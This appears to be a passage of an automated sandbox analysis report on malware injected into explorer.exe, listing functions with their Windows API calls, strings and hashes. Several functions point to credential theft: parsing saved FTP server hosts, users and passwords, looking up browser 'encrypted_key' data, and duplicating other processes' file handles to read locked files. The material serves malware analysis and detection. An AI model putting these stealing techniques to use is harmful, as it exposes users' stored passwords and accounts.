Part of subcall function 007E190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,007E2783), ref: 007E1930
Part of subcall function 007E190B: lstrcat.KERNEL32(00000000,?), ref: 007E1946
Part of subcall function 007E190B: lstrcat.KERNEL32(00000000,00000000), ref: 007E194A

Strings

"encrypted_key":", xrefs: 007E2FBA, 007E2FBF, 007E2FCD, 007E2FDC

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: 898b3b53b0443b903bc3b1724a2e6f4371e9d1098b0799c88be7a7d5ddc12f0d
Instruction ID: aa6d3f0543ed89104f8c92d90e7be16b4611101c9be7a98534360bd05368fa01
Opcode Fuzzy Hash: 898b3b53b0443b903bc3b1724a2e6f4371e9d1098b0799c88be7a7d5ddc12f0d
Instruction Fuzzy Hash: 15E02B227076A47F97216BBE1C5484B7F1CBE4A2103084064F601D3113FF9A8812D2E0

Function 007EBAFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,?,readonly_shm,00000000,00000000,?,?,?), ref: 007EBB40

Strings

winDelete, xrefs: 007EBB6A

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID: winDelete
API String ID: 3188754299-3936022152
Opcode ID: b0853793c737eeaa08eca8ffa72d1b2cd435ad249837df64b9a6a8c13e191fd2
Instruction ID: 2e3cea40e13bc8ad5d191d0ea10a7bbb8676ff7fcbbcd82539bc627808740475
Opcode Fuzzy Hash: b0853793c737eeaa08eca8ffa72d1b2cd435ad249837df64b9a6a8c13e191fd2
Instruction Fuzzy Hash: 4F11E575A02298EB8B11AB6B884587E7F75EB99760F104225F801E7284DB389D019652

Function 007E2EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 007E1011: GetProcessHeap.KERNEL32(00000000,00000000,?,007E1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2), ref: 007E1020
Part of subcall function 007E1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1027

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 007E2EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 007E2F54
RegCloseKey.KERNELBASE(?), ref: 007E2F62

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: 0f429e1a00111c14b51ca50617d4716a4b8503841909cdb3355ca594c77dfb02
Instruction ID: 1be05fbe46d1bc5009904be0f12999e2f9c88933adc97ebfe27ff724df7ce806
Opcode Fuzzy Hash: 0f429e1a00111c14b51ca50617d4716a4b8503841909cdb3355ca594c77dfb02
Instruction Fuzzy Hash: 5D016231206290ABC7199F22DC1AD6F7BADEFC9350F00442DF85992151EA398D56EBA1

Function 007E4B72 Relevance: 4.5, APIs: 3, Instructions: 8COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 007E4B74
CoUninitialize.COMBASE ref: 007E4B83
ExitProcess.KERNEL32 ref: 007E4B8B

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: ExitInitializeProcessUninitialize
String ID:
API String ID: 4175140541-0
Opcode ID: 7d74f52ea0661175bd53b9bcb5938ab0b95c9b389d291b928dd8465730274ada
Instruction ID: 473007803959f2f04c8372b5077f432206aac9f0e73dcc1ad915f4db8fa50dd9
Opcode Fuzzy Hash: 7d74f52ea0661175bd53b9bcb5938ab0b95c9b389d291b928dd8465730274ada
Instruction Fuzzy Hash: 1EC09B30345240EBE6803BF5DC0D70E3794BF88713F01C814F205C9091FB5444208632

Function 007E9FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00BD0000,00000000), ref: 007E9FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 007EA00E

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: 2528f7d044721bfbba8e29e008fba8ced49d6d05d8f7332a91c7eb3097c847b8
Instruction ID: d5d1bc5052230e76df70fc1b50cd5a1b695524abaa091ecdfab793bf4edc0bab
Opcode Fuzzy Hash: 2528f7d044721bfbba8e29e008fba8ced49d6d05d8f7332a91c7eb3097c847b8
Instruction Fuzzy Hash: DDF08B7760A3C0BAEB305A52AC88F27679CEBCDB85F100819FA41C2241F278BC40C231

Function 007E1AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,007E2E83,PathToExe,00000000,00000000), ref: 007E1B16

Part of subcall function 007E1011: GetProcessHeap.KERNEL32(00000000,00000000,?,007E1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2), ref: 007E1020
Part of subcall function 007E1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1027

Part of subcall function 007E19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1A1E
Part of subcall function 007E19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 007E1A3C
Part of subcall function 007E19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 007E1A75
Part of subcall function 007E19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 007E1B40

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: 4d5a176f666dc0affb3ede996eac313207b271116ae4a8a15fcfafe1c1e149f6
Instruction ID: e8e0c798e4a291fbf49006cf453eeb9658db2a1174b0e67af36f7b056e05f806
Opcode Fuzzy Hash: 4d5a176f666dc0affb3ede996eac313207b271116ae4a8a15fcfafe1c1e149f6
Instruction Fuzzy Hash: F1F02B727016C867C610252BDC89D2B3A4ED7C53A53420029F429C3202FD3A6C805174

Function 007EA33B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 007EA35F

Strings

winSeekFile, xrefs: 007EA381

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile
API String ID: 973152223-3168307952
Opcode ID: e152c4bb0f9f9c27801b573fa6ac78ab8128eb6f6159ed6c0d8544eb52933103
Instruction ID: 611db952870aa621d962829d823a31e6125f9a80dd7b34bc21d0697d442e870c
Opcode Fuzzy Hash: e152c4bb0f9f9c27801b573fa6ac78ab8128eb6f6159ed6c0d8544eb52933103
Instruction Fuzzy Hash: 4BF0B434615344BFDB119F69DC05DBB77AAEB49320F108369F861C62D4DA30ED4096A1

Function 007E9EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(05130000,00000000,?), ref: 007E9EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 007E9ECD

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: eb47a17df620d7bb980bd243e9fca0ce7579ccd8bddfcc1be3e613c565780897
Instruction ID: 5f59b4c928b010b91c80ae5bd5f5b52133e449deb771d97ea03fa6386b3286a5
Opcode Fuzzy Hash: eb47a17df620d7bb980bd243e9fca0ce7579ccd8bddfcc1be3e613c565780897
Instruction Fuzzy Hash: 21E0C27B609220BBC6226B95AC09F2FB769EBDAF10F050015FA00A6260C2389C41C7A2

Function 007E9EE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(05130000,00000000,?), ref: 007E9EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 007E9F0E

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: 1cf7a02b4b7b529ed0a2d2c5d0ad598dec1b68a901e0f37dbfb1cf2637e9f82b
Instruction ID: df21c3bf7a81f8670fff9c5a8d9d3dec9044f6d2e4c75d90ed68657e5aff5c58
Opcode Fuzzy Hash: 1cf7a02b4b7b529ed0a2d2c5d0ad598dec1b68a901e0f37dbfb1cf2637e9f82b
Instruction Fuzzy Hash: 0BD0C27720D300B7C6006B52AC09F2B7779BB9AB00F440008F20095076C2689481EB62

Function 007E1B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,007E2893,00000000,00000000,00000000,?), ref: 007E1B82
CloseHandle.KERNELBASE(00000000), ref: 007E1B8F

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 08ee081dab0f5230bfb919fba42484b9eebaa81bb33e37f28a532aee8e5de60a
Instruction ID: 7bb124f141f3d0f82042722a6be75ea0224d341458e6591243f03e1b733e6ce9
Opcode Fuzzy Hash: 08ee081dab0f5230bfb919fba42484b9eebaa81bb33e37f28a532aee8e5de60a
Instruction Fuzzy Hash: B1D012B125367072D575173E7C5EEA76E1CEF4A6B5B444A14B41DE50D0E2288C9781E0

Function 007E1000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 2e3d7086ef33e85dbaeaabf1f29b0467e985bc181c49cc128d173b782068e11a
Instruction ID: de32ad43f2856f7dc70a15fa1238d4ef2bc129c0498e94a5d17408d623c5cfa7
Opcode Fuzzy Hash: 2e3d7086ef33e85dbaeaabf1f29b0467e985bc181c49cc128d173b782068e11a
Instruction Fuzzy Hash: FFA00275550104BBDD4557A89E0DA1E3528FBC4702F108944754586051EA6454149731

Function 007E12A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 007E12B5

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: 7486b2a4618d5f7e4c8111ee2535cb31a08bdfff0e97b70f15dbcf6d25f090cb
Instruction ID: fe26c6f8fa802f7049c37b567a5d1cfc5c1d70a7146dfe0d9d606911107d046b
Opcode Fuzzy Hash: 7486b2a4618d5f7e4c8111ee2535cb31a08bdfff0e97b70f15dbcf6d25f090cb
Instruction Fuzzy Hash: D011F5B1A01209AFDB10DFA9ED85ABEB7BCFB48341B50842AF945E3240E734DD00CB60

Function 007E1B9D Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,007E2C8F,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 007E1BAA

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6bed48f694c7a318b404bd34b2ebb7b36ca52bba1bd31f3d7738c43035d9a294
Instruction ID: a994271ebcdbfd11caf9cec08021f5f0dd466650503462ef23c0b97a3cb81e56
Opcode Fuzzy Hash: 6bed48f694c7a318b404bd34b2ebb7b36ca52bba1bd31f3d7738c43035d9a294
Instruction Fuzzy Hash: 66D0A9B3E13830828A6856393806892A2806A4467439A07B4FC26F30D0F238CC8282C0

Function 007E1677 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 007E1684

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 55a0b173d0ea8a52c0b251d23ee405299e4c37e4a0e376c6619cf23a2cd50bee
Instruction ID: 691339c1d76b24e38842be00801bf300e44fd2c30f78f598c229d43355286b52
Opcode Fuzzy Hash: 55a0b173d0ea8a52c0b251d23ee405299e4c37e4a0e376c6619cf23a2cd50bee
Instruction Fuzzy Hash: FCC08C30121231EFE7301B348C0AB8636D4AF197B2F070D29E4C19D0C0E6F808C0CA90

Function 007E105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,007E4A5B,?,?,00000000,?,?,?,?,007E4B66,?), ref: 007E1065

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3ad9fb4051c0feb23153ce1e7832a3a3266e13cd7e477531eab2f7fd045f0fd4
Instruction ID: f8b4de39ad7523f4c9bf6f1c17888e4e585019f322dfb280947cd050dbe11344
Opcode Fuzzy Hash: 3ad9fb4051c0feb23153ce1e7832a3a3266e13cd7e477531eab2f7fd045f0fd4
Instruction Fuzzy Hash: A0A00270690700B6EDB557245D0AF0936247B80B01F2089447241A90D159E5E0548A18

Function 05C995DF Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000003.2343273753.0000000005C99000.00000004.00000020.00020000.00000000.sdmp, Offset: 05C99000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_5c99000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe7822a7aeb4388da78b925f957ded4322ca4c69ba813c0805c4b14e142f0a97
Instruction ID: 2476fed224f425aa2b1c6cc70a95f1ee9f7e2d0f8f737d1f41a4f368682c2cd2
Opcode Fuzzy Hash: fe7822a7aeb4388da78b925f957ded4322ca4c69ba813c0805c4b14e142f0a97
Instruction Fuzzy Hash: 3111104410F7C14FE30387705C7AA92BFB0AE03219B0E8ADBC0D5CA5A3D159885AC766

Non-executed Functions

Function 007E4440 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289stringcommemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(008362B0,00000000,00000001,008362A0,?), ref: 007E445F
SysAllocString.OLEAUT32(?), ref: 007E44AA
lstrcmpiW.KERNEL32(RecentServers,?), ref: 007E456E
lstrcmpiW.KERNEL32(Servers,?), ref: 007E457D
lstrcmpiW.KERNEL32(Settings,?), ref: 007E458C

Part of subcall function 007E11E1: lstrlenW.KERNEL32(?,7556F360,00000000,?,00000000,?,007E46E3), ref: 007E11ED
Part of subcall function 007E11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 007E120F
Part of subcall function 007E11E1: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 007E1231

lstrcmpiW.KERNEL32(Server,?), ref: 007E45BE
lstrcmpiW.KERNEL32(LastServer,?), ref: 007E45CD
lstrcmpiW.KERNEL32(Host,?), ref: 007E4657
lstrcmpiW.KERNEL32(Port,?), ref: 007E4679
lstrcmpiW.KERNEL32(User,?), ref: 007E469F
lstrcmpiW.KERNEL32(Pass,?), ref: 007E46C5
wsprintfW.USER32 ref: 007E471E

Strings

%s:%s, xrefs: 007E4718
Servers, xrefs: 007E4578
Host, xrefs: 007E4652
RecentServers, xrefs: 007E4569
Server, xrefs: 007E45B9
LastServer, xrefs: 007E45C8
Port, xrefs: 007E4674
Settings, xrefs: 007E4587
User, xrefs: 007E469A
Pass, xrefs: 007E46C0

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrcmpi$String$BinaryCrypt$AllocCreateInstancelstrlenwsprintf
String ID: %s:%s$Host$LastServer$Pass$Port$RecentServers$Server$Servers$Settings$User
API String ID: 2230072276-1234691226
Opcode ID: 8d9331121f1089aeb122c8a8794fb8e9e6eedb620dc015c50adaa224ed285964
Instruction ID: b363f2270c8dde9d7623c3ea0e304c52b24a3bf370e8a1e005bcef0152f93772
Opcode Fuzzy Hash: 8d9331121f1089aeb122c8a8794fb8e9e6eedb620dc015c50adaa224ed285964
Instruction Fuzzy Hash: 46B11771204342AFD700DF69C884E2AB7E9FFC9755F00896CF5958B260DB75E806CBA2

Function 007E349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00000000,?,00000000), ref: 007E34C0

Part of subcall function 007E33C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 007E3401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,007E37A8), ref: 007E34E9

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 007E351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 007E3541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 007E3586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 007E358F
lstrcmpiW.KERNEL32(00000000,File), ref: 007E35B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 007E35DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 007E35F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 007E3606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 007E361E
GetFileSize.KERNEL32(?,00000000), ref: 007E3631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 007E3658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 007E366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 007E3681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 007E36AD
CloseHandle.KERNEL32(?), ref: 007E36C0
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,007E37A8), ref: 007E36F5

Part of subcall function 007E1C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 007E1CC0
Part of subcall function 007E1C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 007E1CDA
Part of subcall function 007E1C9F: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 007E1CE6

CloseHandle.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,007E37A8), ref: 007E3707

Strings

File, xrefs: 007E35B0

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: 689f8b5be34f3eff04a72406035566cd86d9a1f4063edba59a3b458326b93083
Instruction ID: 14238f4070146650d0a4f09098048f9e16947cb3f632d7b159a3def3a06dd138
Opcode Fuzzy Hash: 689f8b5be34f3eff04a72406035566cd86d9a1f4063edba59a3b458326b93083
Instruction Fuzzy Hash: F5619D70205380BFD710AF36CC89B2F7BE9FB88754F104928F946A72A1E779DA548B51

Function 00834438 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 359COMMON

Download Yara Rule

APIs

memcmp.NTDLL(localhost,00000007,00000009,00000002,?,00000000,000001D8,?,00000000), ref: 00834502
memcmp.NTDLL(00000000,?,?,00000002,?,00000000,000001D8,?,00000000), ref: 0083475F
memcpy.NTDLL(00000000,00000000,00000000,00000002,?,00000000,000001D8,?,00000000), ref: 00834803

Strings

mode, xrefs: 00834712
no such vfs: %s, xrefs: 0083482F
localhost, xrefs: 008344FD
invalid uri authority: %.*s, xrefs: 00834513
cache, xrefs: 008346FA
file, xrefs: 00834474
no such %s mode: %s, xrefs: 00834784
cach, xrefs: 008346DC
%s mode not allowed: %s, xrefs: 008347D0
access, xrefs: 00834725

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: memcmp$memcpy
String ID: %s mode not allowed: %s$access$cach$cache$file$invalid uri authority: %.*s$localhost$mode$no such %s mode: %s$no such vfs: %s
API String ID: 231171946-1096842476
Opcode ID: 5b39194a6059062389dfe4f3971c62a60fcb5dc0fe9e39a1775a488108d42e9e
Instruction ID: 29f3ac3e9e04b92c74a88bf790062dd01bc6b2620d89986f6f2ea901bbfaf6e7
Opcode Fuzzy Hash: 5b39194a6059062389dfe4f3971c62a60fcb5dc0fe9e39a1775a488108d42e9e
Instruction Fuzzy Hash: EEC10470A093858BEB34CE18849677AB7D1FBDA318F04252EE4D5C7252D728FC458BC6

Function 00805F08 Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 328COMMON

Download Yara Rule

APIs

Part of subcall function 007E6AAA: memset.NTDLL ref: 007E6AC5

memset.NTDLL ref: 00805F53

Strings

cannot open %s column for writing, xrefs: 00806255
cannot open table without rowid: %s, xrefs: 00805FCF
cannot open virtual table: %s, xrefs: 00805FAA
no such column: "%s", xrefs: 00806271
cannot open view: %s, xrefs: 00805FF3
foreign key, xrefs: 008060A3
indexed, xrefs: 008060E8

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"
API String ID: 2221118986-594550510
Opcode ID: 9cece84b7179eb6f5aea2e91cf1d2dfdb7d5e01e736d06dc6c9f4040b5b4f60d
Instruction ID: 018dadc4c48fc454b07175cbdf6e47508778fe180ac0bc3e8fdc75edb1c39358
Opcode Fuzzy Hash: 9cece84b7179eb6f5aea2e91cf1d2dfdb7d5e01e736d06dc6c9f4040b5b4f60d
Instruction Fuzzy Hash: 59C18B706047029FCB54DF25C884A2AB7E2FFC8714F04892DF854D7282EB35E962CB92

Function 007E2112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 007E2127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 007E213A
wsprintfA.USER32 ref: 007E214F

Strings

%li, xrefs: 007E2149

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: e96278266daf0900c486078ba856fbae172e1aad9f1f51f2776d27413caa5d22
Instruction ID: 2d43ab2a28f55ba26abbaeb888984a2201d8833efb1ca79d3e1e4da2d1b2ac06
Opcode Fuzzy Hash: e96278266daf0900c486078ba856fbae172e1aad9f1f51f2776d27413caa5d22
Instruction Fuzzy Hash: D7E0D83264120877C7213BBC9C0BEEF7B6CEB80B15F004591F900E2182E5764B7483D5

Function 007E123B Relevance: 4.5, APIs: 3, Instructions: 49encryptionstringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,007E3E4B,00000000), ref: 007E124A
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 007E1268

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 007E1295

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: BinaryCryptHeapString$AllocateProcesslstrlen
String ID:
API String ID: 117552131-0
Opcode ID: 147afb7946011c17f25a69eb9a07bae338b143939c5a68353ad0cf6888cbd2b5
